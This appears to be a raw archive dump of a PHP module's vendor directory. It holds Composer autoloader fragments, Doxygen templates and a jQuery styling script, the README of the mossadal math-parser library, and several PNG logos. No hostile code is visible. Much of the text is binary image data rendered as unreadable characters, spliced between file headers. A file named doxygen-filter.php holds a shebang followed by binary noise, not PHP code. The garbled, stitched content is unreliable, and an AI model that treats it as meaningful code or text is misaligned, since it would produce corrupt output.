'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL; } } trigger_error( 'Composer detected issues in your platform: ' . implode(' ', $issues), E_USER_ERROR ); } modules/formulas/vendor/composer/autoload_namespaces.php000064400000000225147600365160017717 0ustar00 array ( 'MathParser\\' => 11, ), ); public static $prefixDirsPsr4 = array ( 'MathParser\\' => array ( 0 => __DIR__ . '/..' . '/mossadal/math-parser/src/MathParser', ), ); public static $classMap = array ( 'Composer\\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php', ); public static function getInitializer(ClassLoader $loader) { return \Closure::bind(function () use ($loader) { $loader->prefixLengthsPsr4 = ComposerStaticInit864f1b9f9ed627a31b6b27c075a1aac5::$prefixLengthsPsr4; $loader->prefixDirsPsr4 = ComposerStaticInit864f1b9f9ed627a31b6b27c075a1aac5::$prefixDirsPsr4; $loader->classMap = ComposerStaticInit864f1b9f9ed627a31b6b27c075a1aac5::$classMap; }, null, ClassLoader::class); } } modules/formulas/vendor/mossadal/math-parser/doxygen/footer.html000064400000001214147600365160021236 0ustar00 modules/formulas/vendor/mossadal/math-parser/doxygen/doxygen-filter.php000064400000006227147600365160022534 0ustar00#!/usr/bin/php ԂTA:5-~OSc:-Q[/H[hVj+Q)'SzS1",=>ζ2: R)&]>df<JWQ 6K>VΖH9F.@P IS T'>bjjIYBOlm=׉UTT*G+O&PaR֞RXqi \n gH.q{EA8XU8Z ʥ`7L=v}Tn AKM%ύM]JZsӖ# ruE8 r֎%'t)mD>ͫ^4 Sa`DR(b3!G=Xs]u .`$;DlEG6=U?PWFxInvN1 ܋ jQ7KiJ}M7atHeDQ0l^+}!7iWU^%V3À2Wq5mV'cF4+w/` }Ŋrd!ဆiGYZ~` m*FW՛/g?;(\} .~!֦$2?ğSx9TjVAĝŬI>LƥN<- (V@_ȉ j=a^z6! p^ǁ'KB~Ƥ'vtJB\vQ*kaϴ3G'X `ULv_xqS(Ty20D |c2tf%;Dʀ)E_ vJ# nm_of[ŕ|)jP>ir#kufX&h I!z&"=UkI٩:2p@'s}+H/͢;X}j:~ >69QXDzN2g4J!4)"ሏ@e mʊY#򣌗lߊ2 9_Pg#G黊}ٕšɸsB/,Wr^v+ӓ-*PrY']>jZC8purY;÷;sBRNCI]qUArU僚֬4M4M4M4M4M4M4 ̽[_ML*f:vq_{IY+kѮ=\›3nQ494Q]ʒi!6A1p̸YVRT.1Օzed7廙+blWB26RUS2;yL^fr76읱[lȶ+юNQ% v̭@`%pwܷTnJʬs%G%qeY:m~SUZO*Yi2] +9-@nxdoN?v?s1uXNPE%B|͐zV뻰JQ4M}C*BK`mMḯ3LmUqB]SHA)/xL6cڕr#w6ţEP?{hx6gIH)/Pi[82 D݄`m fs\t_SR៊(&ts=MgtbP' QW ܺ)&Skx mWWZ>ۃi*}ԦNip^sm~x2b>LT*:E(qTݘLc;ov"O[f Ta1fJp^jvbճb2SG*=fʏ$=MUc~URS7#unMߊQ辅VC}:ӕ St}v%fc91Ts1br%XKȊ" ?r]TH<җ'3OK87żO=r~XZ J0#𢲂z[d8XL{ZC8RJU{^u$\rgqTObV:'(oE\t?zbȸ^lb@q|c1!2f L`{p{jxT uJKRϙ2r@ԆwQՎX.u0>;ˎi)9>7G.JS o wC~?%31?H Z~)sRQΥkq݂-QO; $qңU&Eُ˽O>*V {# q(< PTzsu?C|53hS:^opZE{JlqGO<9'))^f t@YX2>+- #´N^Y3S$""dʡ)AԘy&ˆ-%%uZY~; L\0K¡$p벏V-1f5gf>SET8/JV9d5S8L)J#)vעĖԟoS`|S]s7v½.R5?f[diH7-EҒDR!z3138I f K&"-arG*rh%"tdډ6ƑǙf^ qxRvLw#DZ. Sn6pvDpj=aM-fLL((8.'k3t2n/$SxꏍeNE9gT^vʻ(^% .ǴaM&]&E1y8e(Cx9\iiʎa+Xnu.]Peg!(YL8S͵w96\@\VR=K'> Vn68#}UbkI:K3ӎ9 JBE&rYޝo%6ئ¨hv.=O4~PkIc>Q]?fR)Y~ljU6-=.'ˮNJURq*iIrȦFĚ5[\XuNC E/i\#S,:qZ~nJb)e=S&DI]E(#T1BiJo㨫kn/[mMsRAλnRC+GlgLje1b1I'\(޻MպbKpAIH}T{i01I'J7U#i"3T[%fD/-vh,v% _~Qs&nSh5aڴJ<4hOR@YYL\$v$$k;kDvɠi {~*b<:tOQ/wRb@i9-cbuL75)Mᥟw; >2_4RسuhcIz:IUL9;qVyֽPl_q-1RW*Q0y 復Ȉ^| ziAuu,0Gz!Jq/r$~Ѱ>z@g[]MmɬTq,0} 3.R󬳷k-:cf9]tR"^y(<-H :\M@1u^PF6"-e(~~Y i'Y7FQ܃tCε(4fE*u= gugd<㮩KZ:ͯlQ, 6۷`3NRפ6q;3.kh5#.JkFalhnTs5SzDl'&hvi[4 6 6-!-HKm6% $ kL0VZa im 2hm ChJ@ B0׭`]wʏ!߮١z9:tZ2Clԩ YĭjIuZH[料cdLڍ ;/cPc܁juxBG7,c8b5,ɘƴȽFlC8OH-u3b`==_️W/~SUex.L,+< 2)e^33fXKlg9&!O_ sL% }+% i%환\h $h֬84kF~s~Esa\R8ޅ >%T@-R.oAej5H?cהŹS j 7aEjVjحmwWSQpN-H[WMh*a|I8ʒX,-4He?޲!ClPW ;Ǜ Z04vuvPR#qųJ֠UcVkziiV--ߝ9}› $3&u9՛F]&53We[fM((A ^}@Xw7l9.ݧeS'h:⣏2L2y^r|ltճñl࢑MC]V~E MH5QY 9y*b QyY.q]* 5c$&*/;ha[Rwmǻi!HCy58# rYfh8’H!.gBlݾO~2Daӫme% )K̺P G}*2-(T{r*St5X9LN`W&f*9Ǵ4ko%o7KM 5Ctwרl+/Os2|mUZ\},*EU@;tzQ09T9b5XZmTLkwZ@1Yɱa)J g $>Yk/Ȍ-eR4juU$CDO+>Ʀ 4R-ISx¹l?GDI >O$HkRV r~Vy*Dq1{FjSBD!t)1ʳ#F( ˡ2[U6Fa.Mj8Kޝl,HmY-XXιYUuJ\oZid=#u(CrZ !+Ur'm36 ~K5i U{+FD$r WQٻ_Dq+)HJk> LhY•ڴiu-q]ѰsqE5p6;tف TuAJ̌vq=cӫο3|mL`۬![@Z0qp-VbG5؊:Iűf0Igp-:HWp#u2j(iuPeÓ1cmR|IR㼇px\RZtpH'nOXRe.d&|ȑۋV"#2ҦxbHC]Ib[ڎ@+[W1cي]GIM, MDX⚦>nDbl6@bлP-ګMJzJ1:_K!n}nN1釩^BU|Em|$KWt4Ͽz3n?Kuه, чq#BL1#7yX|QmcTnm U&n<[nNuErwҫ4FѪPjL Ld୕%C+ I(MN߫kT722< ť+!}I*HP viyM'.bZ\Rvŕ|,.BB6:UW''t  DŽ) s"9D}-z6NsOWŧ}b;yYGX6RoUG֞=Jry9h xNL»"DUۧ,VpCav[/*~vZFZ#.IdzԦeMc I(˂'&˸DZHwZn}&g"b1s*χ2 5+%Pmki%|ḿd0B0bfIKFE"VVfm)Uu``#9d֗==.kWX7t!WDPܬVꮣe}\ eij;\y|WW1x& k6hBvn9^?mlgm fBMe] pQVo֎r#vtLeRmZl#{ #-nFyQ 9%DKr_LN6A)uvMfotg7{{T3 N5l8NB6ȦLVfGS~aUAAƚ8<碼a`eeS/Pr۫,E6̷tB/${ ҂EL`"(Bׯӏwc*E\c 0*dj_ȫU J8S;XJ2_kt&ˉi;%8n=Xm!ҡ1r[L%W1vUGrrp=lwK)Z"38(I'1b9j);wl3rD5vt΋EQTMBqўvCf뮵1+2\_@m1.)-eJmђ\Zj3*o;u)^f ?a׎j~`WnJWQr̎`#,])_TsxŢ t)[Ba$lsR7)CV4k҃"jWSW JN;C8e$ buF"n-*' ClzSR弉#ʩG@ܰ]d\ 푾^\Bl 3儠>1 iuFӶHVFTeĘjcJL_Z;C=NA3ʵ/*kV5nY*3T7_ qQ^$Ƕ 'PJJѥT. t?DU;!jߏ,pr@MG( Tlr@"c`]Vj.()aw"~PsZ:7Fj]U Nx]P!*; i8A t5賄zP(Lz '>ig0#DF <C IKqҫGOV[۽.QɘON CPjŮG\pe8<հ=ɞU*WOq )5o!(fV20$ W?PDF}-mmo/UD8;W˯F')4Uj"3B Pr4s!?„7IG`Ċ8.BTIRTY4kZ\ʩܯ4=TyRT8ޛLpV 4\Md=k7q)tŀ}ҡƙj #_coiE[Z<4yMRJEp10gJJXT%G2\#!" x@)+XRՍXT)GuY*9'%MSb`!* R\u9Sƺ?v4M(S}1mggS 벟RrX2 螥+}{niƚ`Mz wV#?VR_HDDJݐ\:;yޫ(SR[֒W ]J'Rx܊*~o9Zuv f!n-U4T+$dU~rumլե^EgHw8^?.:#4SpL[ɷ1S.xO2MRҰN<РsAƠG=Zřyx}ԩN|w#Gղq刅9I͒8hbY } T1c{|}NK֛z}MT( +;mM]Jq4i.9]."A91rD4`#vWvBaweRls!{x')J!#vwrq3w'e?t?bMORFyJ4ꀓSPI==#0>2y(^_=xnoC{$-B b2N7e}~+Nu( QOFX99[G>#yq:"ҝ^% rt[}:Nl(mQYPrF&]^JE s|/CĹ{5mKnn5uM-HG:b%#~*>Zڧ!ΥMHbmounG$WWu@J .!"itd)8 f;9E$-,ߗHECx)u%-0mI\x+SJ dS$$B HR:(E en1=0rI<~I$rs IQTI?$I:hhhhhh#F2i%=`/2Yr\}ǺOm3uKƋqJ}D ?%?Μ =d(KWcڪSJ"d$NE#S;M꺭Ĉ6Oa ƭJ5G* YPXiC!)_w{4UOzFG)]WŮooH(BK0;qأߡ}L2QՌ}ssXWM7%g|bp0u8\Mɼv:ފ?Oh3R9MP `ppH,Ojvke6I%9 Jp="FNvS+[{$2zQ)S-Hz/+ByS;rӁ` ;*<7#rpw"BTZvdJC% fA UYHJq6a5 `OgRiB:͔ MM pP:/@;jՍ-69袶cRdȒ\]_ݭ j}V"@~ _U2_jp|9-vR4M4M4M4M4M4Mmodules/formulas/vendor/mossadal/math-parser/doxygen/logo-159x50.png000064400000016716147600365160021406 0ustar00PNG  IHDR2 pHYs  tIME'7rmIDATx\{xE?U==d! OyE DEEU]uuAd..pu!Qt򒨁uBx=yγ{=3$~ >驮_SΩBR @]JDLew,z^g |XF1*AL^(EһFR;~Ov(45 M[%1 1::<([J&%j&oe^ERo=;7xZ}vNe9XMq$A4>!zhU[5 9an3_)QpooݳTu$*"V r/ }Z }EeV18>~F}s2g2 O m\t*SwtX[ֆmB ̆AQJ )PaĨ0j,IgҬ|c*YCPcqHN! ĶFᜫQlEY$PHƜiӓ4t^>o޹~#0BӨU֬d2s9Y|c^>+ːeSۮ:u\Nk;y$%LKVPeȼeY;vq; B/@d`XM:!ϔNxL^E"Srs8= fH ѽ s?Z) E %ttMO<>)q Џ6J)u/Z*םY^ӌY5^*Ѝ|&i_= &qKDXU&mrҝ*CSPIp~$ QIW&2 r;D)APE,9,bXq\hf偎K'UkKɮDm]ͫ5AQ2k;=eI"B υVn._gwtOb@wFPJ8YgVgUU1j[17MKx8OYj22ހg7dDE4jD_@5Kn𱽛Qg/[۲Ҿy}wxd'*G( aOGi~z֘(Ƹ1Jry}ub'.)TcyOsi Ec $ ђ%Z#~Tز~{g7|(Q) zyP,,YSiIVޚK孱C0NٽMuކ &|{ܕocƘPB0E4DW?_=evю0CC(!\@"JyuoM)"4 M;XF%q>T88h,]UaIh1t5sWҋ(%ޖ}n#EzlP 2ye~MIvok8u(PSGǍ,+.423䪰:cʮHfžoGMERJV<" ooeg"1"f*@asKx3nAm"'Sr6xϷVMpH 4l!@f)Vecu)i=g]S,tfvC?F,(*. XՒQRG|݀]*/^^P^JRV=_}}ǝ'<2XP![#bN(麴n7&VeM!0 s5a߃[6\E@y,U#Iɧ? +Ӛ.fg :.0u:k]_񳽭h tpF*[[&9YIUYLѤ2q ˽;ubSNӥ gղڨӟ|֭SLj 6V4|XȢ!+jCRyQ]D BX- nOfmvaۡN B &>GXF ɚ mQEU46o޼o1bDŎU&At[ĖN[XtZ1kYx(g;˙N_W/m,_{2"ߨy댧V}0 PZT2ƪ1Z~(>hsYYƍ#E]}1 Um_8dž tx ^fm{XiMuKΨ. <qGχFo̯(i@9 }qF}JN rwwjzaQN'!`0h0={hDUTT.ɵeV-Iw^R ܒXBђESmw9(sJSƼB!xNsڵ/ڵk'O|:uW^y&ÇǍWXX;vXfh\b<f֭3f1b0111a9۰aã>\p_7o^UUUBeԩSӧOWEQܻwum۶;;;;TTTK999slAx'BÆ ۳g3 8Evww{^3gl6ϧ\y>fΜ9իW+_}>s={치677geen,˓'O+WEQT>9r$11Xk.Vk0*++Ǧ\VX\qݒ$QJo߮hfΜΟ?;B2w߯< இ.B&Xm>JCHg5`顱P0j4rCq`uN;y論/Y~4{[ ʢ(UPRRM6l0}d4=Ç93 Ov8a+= эqrrr\Pj7tuu)?=h 5F |۷WWWefYreEE+`Blܸ166VY  6@PГ?:]an+6Ih (T6 Оqq'+(:hHQԎLnEȲj*^#G*/跾+0,ˎ5rC ))I)%%w]QQjNg/61t!Cw}-?  1cWHMӳ֤R{JLP lU[BQf_6 !{e( 4fS8 gt E/ejT^;::,\GQauo)@ J_ZR)twwtV< !ŐnooW*((ZGqӧlǬ,y;vLyWUUE(m՜º}7ejwW˞{&` jyc7N藿|ѼcƗ|bS84)E0q,3@a0'˲$IaNenyh42 z=O\\!NSE`h4$B8~?q D]#[ZZƎ駟:NP$9It:^G)4>>"IBHRE].:F1ʯ^rQJ4ܗ,~sswq1DZKKAC&UX}j_ @_> ¥>M/i{1(x S*UfZG2g4V 9.}B$z:B)E9]:1QM4d ԉ\IvGxOW@8~#b~iђ2E6y *>ٲKh 4%JPȊ-=2|x̰@|͡.?GL"(=)F̤oZKk+{7~]'`>ɔP9liԑq#o0/246*ʍ۳s3ǐkהFgZy}EI.~玄QwJW{g[6,D^v)i1YL]MB6QQQn@% :O]B>sjQ^G\@nN#/)%(N˜x!UtٴCݵ.薉{CNa$d#E'iҍbJ#6Wֺj3 -eO\޳^}ybQO/TF}u/J)5b?'_Z>|/O_I$d*&sH -c1F:dJY a[href="index.html"] > span').before(" "); $('li > a[href="index.html"] > span').text("math-parser"); $('li > a[href="modules.html"] > span').before(" "); $('li > a[href="namespaces.html"] > span').before(" "); $('li > a[href="annotated.html"] > span').before(" "); $('li > a[href="classes.html"] > span').before(" "); $('li > a[href="inherits.html"] > span').before(" "); $('li > a[href="functions.html"] > span').before(" "); $('li > a[href="functions_func.html"] > span').before(" "); $('li > a[href="functions_vars.html"] > span').before(" "); $('li > a[href="functions_enum.html"] > span').before(" "); $('li > a[href="functions_eval.html"] > span').before(" "); $('img[src="ftv2ns.png"]').replaceWith('N '); $('img[src="ftv2cl.png"]').replaceWith('C '); $("#navrow1 ul.tablist").addClass("nav navbar-nav"); $("#navrow2 ul.tablist").addClass("nav navbar-nav"); $("#navrow1 li.current").addClass("active"); $("#navrow2 li.current").addClass("subactive"); $("iframe").attr("scrolling", "yes"); $("#nav-path > ul").addClass("breadcrumb"); $("table.params").addClass("table"); $("div.ingroups").wrapInner(""); $("div.levels").css("margin", "0.5em"); $("div.levels > span").addClass("btn btn-default btn-xs"); $("div.levels > span").css("margin-right", "0.25em"); $("table.directory").addClass("table table-striped"); $("div.summary > a").addClass("btn btn-default btn-xs"); $("table.fieldtable").addClass("table"); $(".fragment").addClass("well"); $(".memitem").addClass("panel panel-default"); $(".memproto").addClass("panel-heading"); $(".memdoc").addClass("panel-body"); $("span.mlabel").addClass("label label-info"); $("table.memberdecls").addClass("table"); $("[class^=memitem]").addClass("active"); $("div.ah").addClass("btn btn-default"); $("span.mlabels").addClass("pull-right"); $("table.mlabels").css("width", "100%") $("td.mlabels-right").addClass("pull-right"); $("div.ttc").addClass("panel panel-primary"); $("div.ttname").addClass("panel-heading"); $("div.ttname a").css("color", 'white'); $("div.ttdef,div.ttdoc,div.ttdeci").addClass("panel-body"); $('#MSearchBox').parent().remove(); $('div.fragment.well div.line:first').css('margin-top', '15px'); $('div.fragment.well div.line:last').css('margin-bottom', '15px'); $('table.doxtable').removeClass('doxtable').addClass('table table-striped table-bordered').each(function(){ $(this).prepend(''); $(this).find('tbody > tr:first').prependTo($(this).find('thead')); $(this).find('td > span.success').parent().addClass('success'); $(this).find('td > span.warning').parent().addClass('warning'); $(this).find('td > span.danger').parent().addClass('danger'); }); if($('div.fragment.well div.ttc').length > 0) { $('div.fragment.well div.line:first').parent().removeClass('fragment well'); } $('table.memberdecls').find('.memItemRight').each(function(){ $(this).contents().appendTo($(this).siblings('.memItemLeft')); $(this).siblings('.memItemLeft').attr('align', 'left'); }); function getOriginalWidthOfImg(img_element) { var t = new Image(); t.src = (img_element.getAttribute ? img_element.getAttribute("src") : false) || img_element.src; return t.width; } $('div.dyncontent').find('img').each(function(){ if(getOriginalWidthOfImg($(this)[0]) > $('#content>div.container').width()) $(this).css('width', '100%'); }); $(".memitem").removeClass('memitem'); $(".memproto").removeClass('memproto'); $(".memdoc").removeClass('memdoc'); $("span.mlabel").removeClass('mlabel'); $("table.memberdecls").removeClass('memberdecls'); $("[class^=memitem]").removeClass('memitem'); $("span.mlabels").removeClass('mlabels'); $("table.mlabels").removeClass('mlabels'); $("td.mlabels-right").removeClass('mlabels-right'); $(".navpath").removeClass('navpath'); $("li.navelem").removeClass('navelem'); $("a.el").removeClass('el'); $("div.ah").removeClass('ah'); $("div.header").removeClass("header").addClass("orig-header"); $('.mdescLeft').each(function(){ if($(this).html()===" ") { $(this).siblings('.mdescRight').attr('colspan', 2); $(this).remove(); } }); $('td.memItemLeft').each(function(){ if($(this).siblings('.memItemRight').html()==="") { $(this).attr('colspan', 2); $(this).siblings('.memItemRight').remove(); } }); $('#navrow1').removeClass('tabs'); $('#navrow2').removeClass('tabs2'); $('#navrow2').before(''); $('.container-fluid').wrap(''); $('#nav-path').detach().prependTo('.orig-header'); $('#navrow3').detach().prependTo('.orig-header'); $('#navrow4').detach().prependTo('.orig-header'); }); modules/formulas/vendor/mossadal/math-parser/doxygen/main.md000064400000005520147600365160020324 0ustar00math-parser =========== DESCRIPTION ----------- PHP parser and evaluator library for mathematical expressions. Intended use: safe and reasonably efficient evaluation of user submitted formulas. The library supports basic arithmetic and elementary functions, as well as variables and extra functions. The lexer and parser produces an abstract syntax tree (AST) that can be traversed using a tree interepreter. The math-parser library ships with three interpreters: * an evaluator computing the value of the given expression. * a differentiator transforming the AST into a (somewhat) simplied AST representing the derivative of the supplied expression. * a rudimentary LaTeX output generator, useful for pretty printing expressions using MathJax EXAMPLES -------- It is possible to fine-tune the lexer and parser, but the library ships with a StdMathParser class, capable of tokenizing and parsing standard mathematical expressions, including aritmethical operations as well as elementary functions. ~~~{.php} use MathParser\StdMathParser; use MathParser\Interpreting\Evaluator; $parser = new StdMathParser(); // Generate an abstract syntax tree $AST = $parser->parse('1+2'); // Do something with the AST, e.g. evaluate the expression: $evaluator = new Evaluator(); $value = $AST->accept($evaluator); echo $value; ~~~ More interesting example, containing variables: ~~~{.php} $AST = $parser->parse('x+sqrt(y)'); $evaluator->setVariables([ 'x' => 2, 'y' => 3 ]); $value = $AST->accept($evaluator); ~~~ We can do other things with the AST. The library ships with a differentiator, computing the (symbolic) derivative with respect to a given variable. ~~~{.php} use MathParser\Interpreting\Differentiator; $differentiator = new Differentiator('x'); $f = $parser->parse('exp(2*x)-x*y'); $df = $f->accept($differentiator); // $df now contains the AST of '2*exp(x)-y' and can be evaluated further $evaluator->setVariables([ 'x' => 1, 'y' => 2 ]); $df->accept($evaluator); ~~~ ### Implicit multiplication Another helpful feature is that the parser understands implicit multiplication. An expression as `2x` is parsed the same as `2*x` and `xsin(x)cos(x)^2` is parsed as `x*sin(x)*cos(x)^2`. Note that implicit multiplication has the same precedence as explicit multiplication. In particular `xy^2z` is parsed as `x*y^2*z` and **not** as `x*y^(2*z)`. To make full use of implicit multiplication, the standard lexer only allows one-letter variables. (Otherwise, we wouldn't know if `xy` should be parsed as `x*y` or as the single variable `xy`). THANKS ------ The Lexer is based on the lexer described by Marc-Oliver Fiset in his [blog](http://marcofiset.com/programming-language-implementation-part-1-lexer/). The parser is a version of the "Shunting yard" algorithm, described for example by [Theodore Norvell](http://www.engr.mun.ca/~theo/Misc/exp_parsing.htm#shunting_yard). modules/formulas/vendor/mossadal/math-parser/doxygen/logo-200x63.png000064400000022703147600365160021366 0ustar00PNG  IHDR?*h pHYs  tIME IDATx}yxTEoU^NN/ Ia a@@A@YD~^3##\Ԩ,"N %,!!$t;K9uk̝yOשSTA1}Fo 8<'ccat#X#$Thʅr@uپxb11IBI!/wTΞ8or7Y|Vjuyw t- ؘM#,b$#\P *@?F;@_$RE  VpHcq@W~ `[y M{۹Z68opc ( Ca"xdBq?Yu0Ͱɣ QDGK,qBXc[h^kº@᠇BPɍl(9Gov$ D>/ht5l=ϛ~0`zb 8 A 07X))%S[`2CY4K)`'  睏-gi-'^38 AKŐJ!X.I͔ehFՊI$X%HUBLfkym6_{l2ynzoXU"Йi̚!c`?!b@ss}a[Wc! #NsR zZ7@9P9`zp!y9s͖eX|EgX/Wz}3^^`HåZZKA-[?Scf]m>U{ ~9V z{r鯵:!faL<=]L'&>x]6M]Vv*L{v4j>^'C&{>y],w;` 4_>3G'1\|eNC7Vb}  2yvj~cЈ4쌾r;:VŪoc?d#K7b$ Db!~V5y6mxc 7XR@1 d&%5J"YNkD=mʤ48>rrtIᒻS&qX~Ʒq>|ǒ9%he_<"B Q~yzM|Y 23GA)L!0 $*2yb0MօRlf6YGUBe^rKb>zhU5s 8&ګO0C>@UTPB JuI)ԍ.Vrˣ@'ncqu훙Gf̈́=E/~pdž{wÞHn^m;\-=MN?3abΎZ gFx'^"a/zx;jղ'7LA^䋛Yqۊʼntj^뚫k\]mYyApWBH'ݝ2y^;bkfXdNkmr߰xlVo[8;]|ۂ @#V,EWTF1W)\ fv{,lsOov@ XRBA"s׮ʢҸ k"Љ1"N~e~ z$Mb/_hBDž:/^sԵ[^k:PPo 2UjLiV Ӕ( $Yy' 1^S믭GKh(K=0B߫l@&J ܀f͐ % ;5l-_4[=k@!+J#mL$E%T+$qDrm>1eQCiDy9t^x?\ 8Yg~s@h -*KߏB#zzΉ5(mE`+K99F{/M_lܹVOkx>* jD!C' '&K3JSh$shl~ XGGJx<}:Vp:}/U-c.QE ˊ^*3$0մS=HN bK*ΚbŪͺ4}Zm -1ByRNH0R3B$E%h0ba~F5uTŲe4k.@f€a9[U%$ wjK |^ӞN.1|6&ҋ̌>/OZN?6Ћd?Dޓy<ǖQ) ѐw)xg7@>_N87-)08k*U<*"į ~" 9۹'N=ekҌ>*MSfOsg_Ѱ "$*x~ Itz)"r~L&(@DT* ]n(J*"6~@P(1ft(v P% K$-` B4R@B( r2!>vh&up: Ð!1& D"![ҝpGML ,cuc'xOzZÐ)0It;m<"4mg杘R0MEHD&Yd,~ƌ vݺu7nt8A-Ydћ6mZvjdee-Yfŋ[lٷon>SL-++y&eeeB@f͚0o׭[W__O:zꩧf̘\^۷oԩSJ͛;;;/͛'H8>|xÆ bO?t~~>͛׬YV^^oݻp{V[VV6{좢njէNziӦ-\0)) 4=zw1իWӧ(\ccU?lo؉ WX* ;RC@3X?_IIIiD:NӉD"R{D"Qrr^'SRUTTpN0,>JRdG0rTz>--ɓײ2@vvX,&) N6mڄ{QΝ H$d\ {pjjTTJce1ӟFq֬YbX׫ٳg+W BZ`{/HOݴiJ$%%zNGոqV+vI2bVj dـ3o(#ck7/nS{b"o桤ٔ Qss<,2ܽX^al6lBVM+Vhjjjkk322s:ݲeOz!C=D}+R+ ZmCCC&L+XܼRYY)hc`-Z'cfϞMd\> ˲>,`ҤICEEKN8իͲԩSO>$ÄI͛7C E{{;ƸgZ\\X@Ai@ ^_QacjH'-3xoGV[jD5QD!.BkR((aǏ8qB(JV+uzF'qannnjjimm :w:;OJuuuD D:O?4ڵkP('NTTTZZZ"c0 |5ƍ{W\߸qرcg MFQn|2W_ ̚5+YϽЛ,yzLUux?X87!Hl^G>{Iru 3;!60ƍ|ͺ:Rxy{8X 8O2={$СCI׮]+,,vtt[l1PlW+fΜyYf-Zhd555NeٲhkE懃`t7xXDRFbx}!D2N5 BOanZ{m]!&|K?x)z7-ZD ,LoB* p!%DP0X K}R%BWFkG6{Egw*֭۠[}>ɓ/^jzHՉx7ӳg:p@ /ùAF&z`WByyyoQ?#՚+JNw}כlj(UbAU:_cgt7G6JFW#a'Ͻ7_67\=nɍYS433N~ cd2q"Vq|}>ߚ5kG&2p+[*|>O'.PZּ<ҽ/:5C`q0X^vؽ{ui`0r5k$.Z6z,z,O-l8v`y$cII 믿njj"WΝ;hѢ.bפ(ڵk۶mce+Wpzn~sΑXMcc%KG/Hi2۷۷/[D`eժUO=իWI?fFV ~K/Gtæ+V\(I[^C #x$ ,k8m;DrɟK$C|lд~ ex9sjjj>z蒒;A2p;vɓYկ~5}t?"-x[UUոq㲲233#~M:/*72d̘1C3gNIIFill,//1"m۶׏9233_~V/O0aݺujzϞ=cƌ!#2dȲe֮])| |`w4 r/,3<1#ɆkJ6\ Ѧ J{x+mg>$Ò ݡ֣>& ïvus[djHzwC1s|UzzԩSӻOkkkBwyѣ6d2͜98On6].P(|衇֬Y466L2xB?=O[[EQ$55d.]'Nk׮-\k>hРӧG>33*H`С+W\`B2dȐS:AB\h+B XSSSPP0}t.0΀ߞ<;㓏`4w4sbqw_v&mCX܂W>Sk n_ݨN4), TJ0 Ri i/^o!rǼCݲߴCƯZzYoX%AtHDcs#y'w@{[[T$pĈmX9A`)E*naqe[Vija,B AN:Z|f# 0 RߵꎫEIZ `p |'SS0wmnKlwyO޾]i;m3L EqcEÿ|ݫ??@X.;Vf~}aeے U$v޵{X@W|^ O E$6Ca}CɀͺuliߥK.<mG$&Oޯ@Y-0HRRh]$UdJ"4.gxmu]5NLYdPcnݺcǎ͟?X,vAu˻=- 8m%?3ccޓ  V 万6Ū6x>ld$9Tm~\J3g ͮ戍q]$4sީT_Z Ϗ+XŔ7s]+C6=&f1ˉοtRz&2YoJ(鐤9ȘfuhXiw{mWk:.7{]MfbX!CS$HzĘ&M׉tQRX[VhQYK7lAaЌ\a f a"F)eN26OWQ@0^70*U`u~[b^ayd9Ld2׏Z78G{ۙwopF J̞/TwgX ic}-woXş>%4"U HHl%%*be۷[m|y/? CR Jk3dZ7wtD^I`\oN#dpӬ*ӤO{|^c9[3䢊c^m^׵z,-Fb\΀<'H$ȓDIIJ89NɐfкB-M _108p|dۍmy o[_%`)w_.VH%b huBcf~6c= )$o#qzbfkm 6^H-T!!aVQybWk@"3+V1˱7|nFy Ib*&WO-2 yf mP-ARPH"$YC{8N{t7]p66{Lu,߬ߑ:ِbVGhM#1MIhJB={cc].ڃ !LkJugN4ϐ/]1}?RQuѶcv|j `6(Q 㭔Ԛ6"=  ʂS&OC[JroEB6c^k ߝn;}~80"̆JȵܽYMi?B(sKGT)0)|JJ_Ea SQp7\l^\Rks ;KΉDa ҈IT1M/+PYv} X1{ggu۬v6O[.Ph4h֒()YQdq2<Sxİ-H[IENDB`modules/formulas/vendor/mossadal/math-parser/doxygen/header.html000064400000004564147600365160021203 0ustar00 $projectname: $title $title $treeview $search $mathjax $extrastylesheet
    modules/formulas/vendor/mossadal/math-parser/doxygen/logo-127x40.png000064400000012021147600365160021361 0ustar00PNG  IHDR(XT pHYs  tIME ~@IDATh[ytSי}zzeYd˖m06˰a5!%̈́i(K4@dhBRN $,14а$5[XcfےMOYΙ)oADYCuϭS 4}5r->iP"@#!KMI-BRdM)B^UgeMyi  cb$ g(@RxҪN_d/9>6Imq@Jɭx !Jovpoþ/< HR@Q. y(D TwB Q4i2 BG@kt[߼yETLG *S,]V֑Z$WY}J߹ gA)$Of/?x:V} 5wnj 89 GH{mHkao>+Cuf~ juNh=G'}ZGܥwӬW^^u= UH ŋ6CIO=mV'݄ɖ+Ηlw}:,yoܟ#AEOtHUBZK^99GSz$fjywMeXo,y>u}:МPt<2g5@=Hk{[]X$Li44mzc9C"& aϾ<`RwuNĿg F-a`4ꏣSGTu#W7mcyHkElB7R@TTklcfA$Àhmm#+z`Ϥs@9@8?`頥u4MvyvpdTP*[z3dj3mZSi)5Im1&Hl?Db`+I;UJ ",RـKFA$7VL.ΰ'ON?S](a+r9 )­3g|q_y=PQAMy9(2s Y:fh$ޤUiI7!NJ} x{(e4$+/P;s#]Lh5-u:_U*xq,1c ZNS5Ox="!)" _ 7[lM Il޼y޼y.]ɹwܯYJ(@tζm̶|#s](-^U奈LPWW߻3J@(Ez|D۰Qi7)H4mT;f͚G*sh2)n+x&aaJaBgyUa֑_Mb/ƙWE@ &$ hԺŸB Dո(2j"G0j/8"7Q׍hPR󼲿L\H$"!1&_wyuv*JLM'T {%V G5:UzPJ*VR>8iGP(j*ժhWXhZA&MDà A#6Dl6_r?4LӧOa=FQ?mٲb?^ ЧOM60-^XZ>|sWfϞ]PP_`0dddBkZ^o#+$''d'Oxnݺ{GnذʚGlbbc) G*TSV%e?)lk r\.YX`PbŊXUU`/^rt^[ZZrrrfϞQA~tfggce0VZZ /=;wy睵k=zTM6M~kƌ`W__)xw}>_iiFoqҥ#bee% @ +/ =` .k,SIa *XO[UUz 8p@:8Yf)_x<.\cǎ!b$-..uXf 󵵵?؈MMMnv~D,--UT55Qn71R^7t{LՆB!ӧD9C׮]YUU---2pXJ'[ .C%P)pVzuiB)>9]B(#L)g'Iҋ/j eW I|eR(N8p8kDQ/N'[xFmsss_~eb`ƌ .8qѣG2<6dhoo_:t•BSbQ !H(axtѸyNv- /kڵGo8۾}{ee t BGB7 7mtyRXXl2y6lpي3g\z5;;;RqxN:f .ߴ!E|H Tu6Q{p߀ ' 9[7n3gرcFjʸЅm>}fy*_TWWV\h C 